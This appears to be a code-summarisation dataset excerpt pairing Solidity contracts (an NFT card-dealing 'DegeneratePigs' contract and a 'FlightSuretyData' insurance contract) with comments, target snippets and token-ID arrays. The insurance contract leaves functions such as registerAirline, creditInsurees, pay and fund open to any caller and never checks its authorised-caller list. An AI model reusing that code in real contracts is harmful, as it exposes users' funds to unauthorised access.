`tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not owned"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } //How many deer does it take to build a space shuttle? -Nadia Khuzina contract DegeneratePigs is VRFConsumerBase, ERC721, ReentrancyGuard { address public contractOwner; bytes32 internal keyHash = 0xf86195cf7690c55907b2b611ebb7343a6f649bff128701cc542f0569e2c549da; address internal vrfCoordinator = 0x3d2341ADb2D31f1c5530cDC622016af293177AE0; address internal linkTokenAddress = 0xb0897686c545045aFc77CF20eC7A532E3120E0F1; uint256 internal fee; address payable public receiverAccount; uint256 public price; uint256 public upgradePrice; uint256 internal totalNFTs; uint256 internal mintRequests; uint256 public totalHandsDealt; bool public forSale; bool public permanentlyStop; bool public upgradeable; bool public permanentlyStopUpgrades; struct tokenHistory { uint256 chipStack; uint256 plaqueStack; uint256 totalAces; uint256 matchingAces; uint256 diamondAces; uint256 lastLeftCard; uint256 lastRightCard; } //Track the hands for statistical analysis or frontend purposes. event HandDealt(uint256 indexed tokenID, uint256 leftCard, uint256 rightCard, bool isMint); mapping(bytes32 => address) internal minterAddress; mapping(bytes32 => uint256) internal tokenToUpgrade; mapping(uint256 => uint256) public lookupFullTokenID; mapping(uint256 => uint256) public upgradeCount; mapping(uint256 => tokenHistory[]) public lookupTokenHistory; mapping(uint256 => uint256) internal chipStack; mapping(uint256 => uint256) internal plaqueStack; mapping(uint256 => uint256) internal totalAces; mapping(uint256 => uint256) internal matchingAces; mapping(uint256 => uint256) internal diamondAces; mapping(uint256 => uint256) internal lastLeftCard; mapping(uint256 => uint256) internal lastRightCard; constructor() VRFConsumerBase( vrfCoordinator, linkTokenAddress ) { contractOwner = msg.sender; receiverAccount = payable(msg.sender); fee = 0.0001 * 10 ** 18; price = 25 * 10 ** 18; upgradePrice = 2 * 10 ** 18; baseURI = "https://wwww.degeneratefarm.io/metadata/"; mintRequests = 0; } //Reduces require() statements that would increase verbosity. modifier onlyOwner() { require(msg.sender == contractOwner); _; } //We need separate mappings for mints and upgrades to differentiate them in the fulfillRandomness function. function getRandomNumberForMint() internal returns(bytes32 requestId) { require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK. Topup the contract with LINK."); requestId = requestRandomness(keyHash, fee); minterAddress[requestId] = msg.sender; return requestId; } //We need separate mappings for mints and upgrades to differentiate them in the fulfillRandomness function. function getRandomNumberForUpgrade(uint256 tokenID) internal returns(bytes32 requestId) { require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK. Topup the contract with LINK."); requestId = requestRandomness(keyHash, fee); tokenToUpgrade[requestId] = tokenID; return requestId; } //The VRF Coordinator only calls the function named fulfillRandomness. It doesn't know whether it is providing a random number for a mint or an upgrade. The contract must interpret this from the requestID by checking which mapping it is a part of. function fulfillRandomness(bytes32 requestId, uint256 randomNumber) internal override { require(msg.sender == vrfCoordinator, "Only the VRF Coordinator may call this function."); if (tokenToUpgrade[requestId] != 0) { upgradePig(tokenToUpgrade[requestId], randomNumber); } else { mintPig(minterAddress[requestId], randomNumber); } } //While the mint function starts here, it is the VRF Coordinator who actually mints the NFTs. function mint() external payable nonReentrant { require(permanentlyStop == false, "Minting has been permanently disabled."); require(forSale == true, "Minting has been paused."); require(mintRequests < 1024, "No pigs left to mint, sorry. :-("); require(msg.value == price, "Wrong amount for mint."); //If the correct amount is sent, then request a VRF number. getRandomNumberForMint(); //Limit the number of pigs minted to 1024 by tracking this variable. mintRequests++; (bool mintPaymentSent, ) = payable(receiverAccount).call { value: msg.value }(""); require(mintPaymentSent, "Failed to send Ether for minting."); } //Some frontends may look for this optional ERC721 implementation. function totalSupply() public view returns(uint256) { return totalNFTs; } //Returns all the mapping data in one call. function getUpgrades(uint256 tokenID) public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256) { return (chipStack[tokenID], plaqueStack[tokenID], totalAces[tokenID], matchingAces[tokenID], diamondAces[tokenID], lastLeftCard[tokenID], lastRightCard[tokenID]); } //This is a lookup table to make the background rarity non-linear. function backgroundLookup(uint256 index) internal pure returns(uint256) { if (index <= 40) return 0; else if (index <= 50) return 1; else if (index <= 60) return 2; else if (index <= 70) return 3; else if (index <= 80) return 4; else if (index <= 85) return 5; else if (index <= 90) return 6; else if (index <= 95) return 7; else if (index < 99) return 8; return 9; } //Called from fulfillRandomness. function mintPig(address minter, uint256 randomNumberFromChainlink) internal { //Change to public for Remix testing. You can directly input numbers this way. //Increment the total of minted NFTs. This is used for tracking the chronological order, and compatibility with existing ERC721 patterns. totalNFTs++; //The backgrounds are a non-linear feature of the pig. It is a 1 in 100 chance to get the rarest Level 10 background. It returns only a single digit for purposes of sprite mapping. uint256 background = backgroundLookup(randomNumberFromChainlink % 10 ** 11 / 10 ** 9); //The token ID is made up of the chronological number that is prepended, the background number, and a straight crop of the last 9 numbers of the VRF returned random number. Each of these number represents a sprite. uint256 tokenID = ((totalNFTs * 10 ** 10) + (background * 10 ** 9)) + randomNumberFromChainlink % 10 ** 9; //Mint the pig. _mint(minter, tokenID); //Take the chronological number of each pig and use it as a key to find the full token ID. This is useful for Web3 operations. lookupFullTokenID[totalNFTs] = tokenID; //Crop out six digit pieces of the returned VRF number. This in effect makes a 1 million card shoe for each card and renders modulo bias moot. uint256 leftCard = (((randomNumberFromChainlink % 10 ** 22 / 10 ** 16) + 52) % 52) + 1; uint256 rightCard = (((randomNumberFromChainlink % 10 ** 16 / 10 ** 10) + 52) % 52) + 1; //This saves the cards to a mapping so the lookup function can fetch the last cards dealt for display on the pig. lastLeftCard[tokenID] = leftCard; lastRightCard[tokenID] = rightCard; //Initialize the chip stack with a single 1000 chip. chipStack[tokenID] = 1; //If the first hand dealt is aces, add it to the total. if ((leftCard == 1 || leftCard == 14 || leftCard == 27 || leftCard == 40) && (rightCard == 1 || rightCard == 14 || rightCard == 27 || rightCard == 40)) { totalAces[tokenID] = 1; //Add a plaque plaqueStack[tokenID] = 1; //Check if they are matching aces. if (leftCard == rightCard) { matchingAces[tokenID] = 1; //If they are matching aces, then check to see if they are matching diamond aces. if (leftCard == 14 && rightCard == 14) { diamondAces[tokenID] = 1; } } } //It's a mint, but also deals a hand. We track this for frontend purposes. totalHandsDealt++; //It's also considered an upgrade since the hand and chip added goes to upgrade totals. upgradeCount[tokenID] += 1; //We use this mapping to easily find the history of VRF results, such as the last five hands dealt, or when aces were hit. lookupTokenHistory[tokenID].push(tokenHistory(chipStack[tokenID], plaqueStack[tokenID], totalAces[tokenID], matchingAces[tokenID], diamondAces[tokenID], lastLeftCard[tokenID], lastRightCard[tokenID])); //isMint is true because this is a mint event. emit HandDealt(tokenID, leftCard, rightCard, true); } //While the upgrade function starts here, it is the VRF Coordinator who actually mints the NFTs. function upgrade(uint256 tokenID) external payable { require(msg.sender == ownerOf(tokenID)); require(msg.value == upgradePrice, "Wrong amount for upgrade."); //If the correct amount is sent, then request a VRF number. getRandomNumberForUpgrade(tokenID); (bool upgradePaymentSent, ) = payable(receiverAccount).call { value: msg.value }(""); require(upgradePaymentSent, "Failed to send Ether for upgrade."); } //Called from fulfillRandomness. function upgradePig(uint256 tokenID, uint256 randomNumberFromChainlink) internal { //Change to public for Remix testing. You can directly input numbers this way. //The maximum number of chips is 200. If there are already 200 chips, then this is ignored, and only new plaques can be earned. if (chipStack[tokenID] < 200) { chipStack[tokenID] += 1; } //Crop out six digit pieces of the returned VRF number. This in effect makes a 1 million card shoe for each card and renders modulo bias moot. uint256 leftCard = (((randomNumberFromChainlink % 10 ** 12 / 10 ** 6) + 52) % 52) + 1; uint256 rightCard = (((randomNumberFromChainlink % 10 ** 6) + 52) % 52) + 1; //This saves the cards to a mapping so the lookup function can fetch the last cards dealt for display on the pig. lastLeftCard[tokenID] = leftCard; lastRightCard[tokenID] = rightCard; //Evaluate the hand to check if it is aces, and then what type of aces. if (plaqueStack[tokenID] < 3) { if ((leftCard == 1 || leftCard == 14 || leftCard == 27 || leftCard == 40) && (rightCard == 1 || rightCard == 14 || rightCard == 27 || rightCard == 40)) { totalAces[tokenID] += 1; //Add a plaque plaqueStack[tokenID] += 1; //Check if they are matching aces. if (leftCard == rightCard) { matchingAces[tokenID] += 1; //If they are matching aces, then check to see if they are matching diamond aces. if (leftCard == 14 && rightCard == 14) { diamondAces[tokenID] += 1; } } } } else if (plaqueStack[tokenID] < 7) { if ((leftCard == 1 || leftCard == 14 || leftCard == 27 || leftCard == 40) && (rightCard == 1 || rightCard == 14 || rightCard == 27 || rightCard == 40)) { totalAces[tokenID] += 1; //Check if they are matching aces. if (leftCard == rightCard) { //Add a plaque plaqueStack[tokenID] += 1; matchingAces[tokenID] += 1; //If they are matching aces, then check to see if they are matching diamond aces. if (leftCard == 14 && rightCard == 14) { diamondAces[tokenID] += 1; } } } } else { if ((leftCard == 1 || leftCard == 14 || leftCard == 27 || leftCard == 40) && (rightCard == 1 || rightCard == 14 || rightCard == 27 || rightCard == 40)) { totalAces[tokenID] += 1; //Add a plaque if (leftCard == rightCard) { matchingAces[tokenID] += 1; //If they are matching aces, then check to see if they are matching diamond aces. if (leftCard == 14 && rightCard == 14) { if (plaqueStack[tokenID] < 10) { //Add a plaque plaqueStack[tokenID] += 1; } diamondAces[tokenID] += 1; } } } } //Add to the total hands dealt total. totalHandsDealt++; //Add to the total upgrades of the pig. This can exceed the cap on chips, so we need to save for statistical purposes. upgradeCount[tokenID] += 1; //We use this mapping to easily find the history of VRF results, such as the last five hands dealt, or when aces were hit. lookupTokenHistory[tokenID].push(tokenHistory(chipStack[tokenID], plaqueStack[tokenID], totalAces[tokenID], matchingAces[tokenID], diamondAces[tokenID], lastLeftCard[tokenID], lastRightCard[tokenID])); //isMint is false because this is an upgrade event. emit HandDealt(tokenID, leftCard, rightCard, false); } //Start or pause the minting functionality in the contract. function changeSaleState() external onlyOwner { forSale = !forSale; } //Permanently stops minting. This cannot be reverted. Only can be triggered when forSale is false. function permanentlyStopMinting() external onlyOwner { require(forSale == false, "You must switch off mints before permanently disabling them manually."); require(permanentlyStop == false, "Minting has already been permanently disabled."); permanentlyStop = true; } //Start or pause the upgrade functionality in the contract. function changeUpgradeState() external onlyOwner { upgradeable = !upgradeable; } //Permanently stops upgrades. This cannot be reverted. Only can be triggered when permanentlyStopUpgrades is false. function permanentlyStopUpgrading() external onlyOwner { require(upgradeable == false, "You must switch off upgrades before permanently disabling them manually."); require(permanentlyStopUpgrades == false, "Upgrading has already been permanently disabled."); permanentlyStopUpgrades = true; } //Change the price of upgrading. function changeUpgradePrice(uint256 newUpgradePrice) external onlyOwner { upgradePrice = newUpgradePrice; } //Change the price of minting. function changePrice(uint256 newPrice) external onlyOwner { price = newPrice; } //Set the receiving account. function changeReceivingAccount(address payable newReceivingAddress) external onlyOwner { receiverAccount = newReceivingAddress; } //Change the owner of the contract. function changeContractOwner(address payable newcontractOwner) external onlyOwner { contractOwner = newcontractOwner; } //Get the total stack of a particular pig. function totalStack(uint256 tokenID) external view returns(uint256) { uint256 totalChipStack = chipLookup(chipStack[tokenID]) + plaqueLookup(plaqueStack[tokenID]); return totalChipStack; } //Calculates the total chip stack exclusive of plaques. function chipLookup(uint256 chips) internal pure returns(uint256) { if (chips <= 100) { return 1000 * chips; } return (5000 * (chips - 100)) + 100000; } //Calculates the total plaque stack exclusive of chips. function plaqueLookup(uint256 plaques) internal pure returns(uint256) { if (plaques > 0) return 25000 * plaques; else return 0; } //This function allows the metadata to be updated, and the location of it to be changed to decentralized file services after minting. function _setTokenUri(string memory newuri) public onlyOwner { baseURI = newuri; } //Withdraw all of the LINK from the contract. Probably not necessary since we know the total amount of pigs that can be minted, but you never know. function withdrawLink() external onlyOwner { LinkTokenInterface link = LinkTokenInterface(linkTokenAddress); require(link.transfer(receiverAccount, link.balanceOf(address(this))), "Unable to transfer"); } }
Add a plaqueIf they are matching aces, then check to see if they are matching diamond aces.Add a plaque
if ((leftCard == 1 || leftCard == 14 || leftCard == 27 || leftCard == 40) && (rightCard == 1 || rightCard == 14 || rightCard == 27 || rightCard == 40)) { totalAces[tokenID] += 1; if (leftCard == rightCard) { matchingAces[tokenID] += 1; if (leftCard == 14 && rightCard == 14) { if (plaqueStack[tokenID] < 10) { plaqueStack[tokenID] += 1; } diamondAces[tokenID] += 1; } } }
14,111,457
[ 1, 986, 279, 886, 14886, 2047, 2898, 854, 3607, 279, 764, 16, 1508, 866, 358, 2621, 309, 2898, 854, 3607, 4314, 301, 1434, 279, 764, 18, 986, 279, 886, 14886, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 309, 14015, 4482, 6415, 422, 404, 747, 2002, 6415, 422, 5045, 747, 2002, 6415, 422, 12732, 747, 2002, 6415, 422, 8063, 13, 597, 261, 4083, 6415, 422, 404, 747, 2145, 6415, 422, 5045, 747, 2145, 6415, 422, 12732, 747, 2145, 6415, 422, 8063, 3719, 288, 203, 7734, 2078, 37, 764, 63, 2316, 734, 65, 1011, 404, 31, 203, 7734, 309, 261, 4482, 6415, 422, 2145, 6415, 13, 288, 203, 10792, 3607, 37, 764, 63, 2316, 734, 65, 1011, 404, 31, 203, 10792, 309, 261, 4482, 6415, 422, 5045, 597, 2145, 6415, 422, 5045, 13, 288, 203, 13491, 309, 261, 412, 14886, 2624, 63, 2316, 734, 65, 411, 1728, 13, 288, 203, 18701, 886, 14886, 2624, 63, 2316, 734, 65, 1011, 404, 31, 203, 13491, 289, 203, 13491, 4314, 301, 1434, 37, 764, 63, 2316, 734, 65, 1011, 404, 31, 203, 10792, 289, 203, 7734, 289, 203, 5411, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.2; // SPDX-License-Identifier: UNLICENSED import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; interface IFlightSuretyData { function isOperational() external view returns (bool); function registerAirline(address newAirline) external; function registerFlight(address msgSender, address airline, string memory flight, uint256 updatedTimestamp) external; function getAirlineCount() external view returns (uint); function setOperatingStatus(bool mode) external; function getAirlineFunds(address airline) external view returns (uint); function fund(address airline, uint msgValue) external payable; // struct Airline { // bool isRegistered; // uint256 funds; // } function isAirline(address airline) external view returns (bool); function pay(address payable insuredAddress, address airline, string memory flight, uint256 timestamp) external payable returns (uint); function buy( address payable passenger, uint price, address airline, string memory flight, uint256 timestamp) external payable; function creditInsurees(address airline, string memory flight, uint256 timestamp) external; function isPersonInsured(address passenger, address airline, string memory flightName, uint256 timestamp) external view returns (bool); } contract FlightSuretyData is IFlightSuretyData { using SafeMath for uint256; /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ address private _contractOwner; // Account used to deploy contract bool private operational = true; // Blocks all state changes throughout the contract if false struct Airline { bool isRegistered; uint funds; string name; } struct InsuredPassenger { bool isInsured; uint insuredAmount; uint creditOwed; uint insuredAddressIndex; } struct Flight { bool isRegistered; uint8 statusCode; uint256 updatedTimestamp; address airline; address[] insuredAddresses; mapping(address => InsuredPassenger) insuredPassengers; } mapping(bytes32 => Flight) private _flights; /********************************************************************************************/ /* EVENT DEFINITIONS */ /********************************************************************************************/ /** * @dev Constructor * The deploying account becomes _contractOwner */ constructor ( // address contractOwner ) public { _contractOwner = msg.sender; _airlineCount = 0; } event AddedFunds(); event RegisteredAirline(); event IssuedCredit(address passenger, address airline, string flight, uint256 timestamp, uint credit); /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsOperational() { require(operational, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == _contractOwner, "Caller is not contract owner"); _; } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ /** * @dev Get operating status of contract * * @return A bool that is the current operating status */ function isOperational() external override view returns (bool) { return operational; } /** * @dev Sets contract operations on/off * * When operational mode is disabled, all write transactions except for this one will fail */ function setOperatingStatus ( bool mode ) external override requireContractOwner { operational = mode; } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /** * @dev Add an airline to the registration queue * Can only be called from FlightSuretyApp contract * */ function registerAirline ( address newAirline ) external override { require(newAirline != address(0)); require(!(_airlines[newAirline].isRegistered == true), "Airline is already registered!"); _airlines[newAirline].isRegistered = true; _airlineCount++; emit RegisteredAirline(); } function registerFlight ( address msgSender, address airline, string memory flightName, uint256 updatedTimestamp ) external override requireIsOperational { require(airline == msgSender, "You can only register flights for your airline!"); bytes32 key = getFlightKey(airline, flightName, updatedTimestamp); require(_flights[key].updatedTimestamp != updatedTimestamp, "There are no changes to register."); Flight storage flight = _flights[key]; flight.isRegistered = true; flight.updatedTimestamp = updatedTimestamp; flight.airline = airline; flight.insuredAddresses = new address[](0); // _flights[key] = Flight({ // isRegistered : true, // statusCode : STATUS_CODE_ON_TIME, // updatedTimestamp : updatedTimestamp, // airline : airline, // insuredAddresses : addresses // }); } event BoughtInsurance(address passenger, uint price, address airline, string flightName, uint256 timestamp); /** * @dev Buy insurance for a flight * */ function buy ( address payable passenger, uint price, address airline, string memory flightName, uint256 timestamp ) external requireIsOperational payable override { bytes32 flightKey = getFlightKey(airline, flightName, timestamp); Flight storage flight = _flights[flightKey]; InsuredPassenger storage insuredPassenger = flight.insuredPassengers[passenger]; if (insuredPassenger.isInsured == false) { insuredPassenger.insuredAddressIndex = flight.insuredAddresses.length; flight.insuredAddresses.push(passenger); } uint price1 = price; insuredPassenger.isInsured = true; insuredPassenger.insuredAmount = price1; insuredPassenger.creditOwed = 0; emit BoughtInsurance(passenger, price, airline, flightName, timestamp); } /** * @dev Credits payouts to insurees */ function creditInsurees ( address airline, string memory flightName, uint256 timestamp ) external requireIsOperational override { bytes32 flightKey = getFlightKey(airline, flightName, timestamp); Flight storage flight = _flights[flightKey]; for (uint i = 0; i < flight.insuredAddresses.length; i++) { address insuredAddress = flight.insuredAddresses[i]; InsuredPassenger memory insuredPassenger = flight.insuredPassengers[insuredAddress]; if (insuredPassenger.insuredAmount > 0) { uint credit = insuredPassenger.insuredAmount.mul(15).div(10); flight.insuredPassengers[insuredAddress].creditOwed = credit; flight.insuredPassengers[insuredAddress].insuredAmount = 0; emit IssuedCredit(insuredAddress, airline, flightName, timestamp, credit); } } } /** * @dev Transfers eligible payout funds to insuree * */ function pay ( address payable insuredAddress, address airline, string memory flightName, uint256 timestamp ) external requireIsOperational payable override returns (uint) { bytes32 flightKey = getFlightKey(airline, flightName, timestamp); Flight storage flight = _flights[flightKey]; InsuredPassenger memory insuredPassenger = flight.insuredPassengers[insuredAddress]; uint payout = flight.insuredPassengers[insuredAddress].creditOwed; require(payout > 0, "There is no payout for this passenger."); require(_airlines[airline].funds >= payout, "The airline does not have enough funds to pay this request."); _airlines[airline].funds = _airlines[airline].funds.sub(payout); delete flight.insuredAddresses[insuredPassenger.insuredAddressIndex]; delete flight.insuredPassengers[insuredAddress]; return payout; } /** * @dev Initial funding for the insurance. Unless there are too many delayed flights * resulting in insurance payouts, the contract should be self-sustaining * */ function fund ( address airline, uint msgValue ) public requireIsOperational payable override { uint total = _airlines[airline].funds.add(msgValue); _airlines[airline].funds = total; emit AddedFunds(); } function getFlightKey ( address airline, string memory flightName, uint256 timestamp ) pure internal returns (bytes32) { return keccak256(abi.encodePacked(airline, flightName, timestamp)); } /** * @dev Fallback function for funding smart contract. * */ fallback() external payable { // fund(); } receive() external payable { fund(msg.sender, msg.value); } // ------------------------------------------------- uint private _airlineCount; mapping(address => Airline) private _airlines; mapping(address => bool) private _authorizedAddresses; function authorizeCaller(address newAddress) public requireContractOwner { require(newAddress != address(0)); require(!(_authorizedAddresses[newAddress] == true), "Address is already authorized!"); _authorizedAddresses[newAddress] = true; } function isAirline(address airline) public view override returns (bool) { return _airlines[airline].isRegistered == true; } function getAirlineCount() external override view returns (uint) { return _airlineCount; } function getAirlineFunds(address airline) public view override returns (uint) { return _airlines[airline].funds; } function getAirlineName(address airline) public view returns (string memory) { return _airlines[airline].name; } function isFlightRegistered(address airline, string memory flightName, uint256 timestamp) public view returns (bool) { bytes32 flightKey = getFlightKey(airline, flightName, timestamp); Flight memory flight = _flights[flightKey]; return flight.isRegistered; } function getInsuredAmount(address airline, string memory flightName, uint256 timestamp) public view returns (uint) { bytes32 flightKey = getFlightKey(airline, flightName, timestamp); InsuredPassenger memory insuredPassenger = _flights[flightKey].insuredPassengers[msg.sender]; return insuredPassenger.insuredAmount; } function isPersonInsured(address passenger, address airline, string memory flightName, uint256 timestamp) external view override returns (bool) { bytes32 flightKey = getFlightKey(airline, flightName, timestamp); InsuredPassenger memory insuredPassenger = _flights[flightKey].insuredPassengers[passenger]; return insuredPassenger.isInsured; } // function getAirline(address airline) public view returns (Airline memory) { // return _airlines[airline]; // } }
* @dev Sets contract operations on/off When operational mode is disabled, all write transactions except for this one will fail/
function setOperatingStatus ( bool mode ) external override requireContractOwner { operational = mode; }
6,431,061
[ 1, 2785, 6835, 5295, 603, 19, 3674, 5203, 1674, 287, 1965, 353, 5673, 16, 777, 1045, 8938, 1335, 364, 333, 1245, 903, 2321, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 444, 3542, 1776, 1482, 203, 225, 261, 203, 565, 1426, 1965, 203, 225, 262, 203, 225, 3903, 203, 225, 3849, 203, 225, 2583, 8924, 5541, 203, 225, 288, 203, 565, 1674, 287, 273, 1965, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
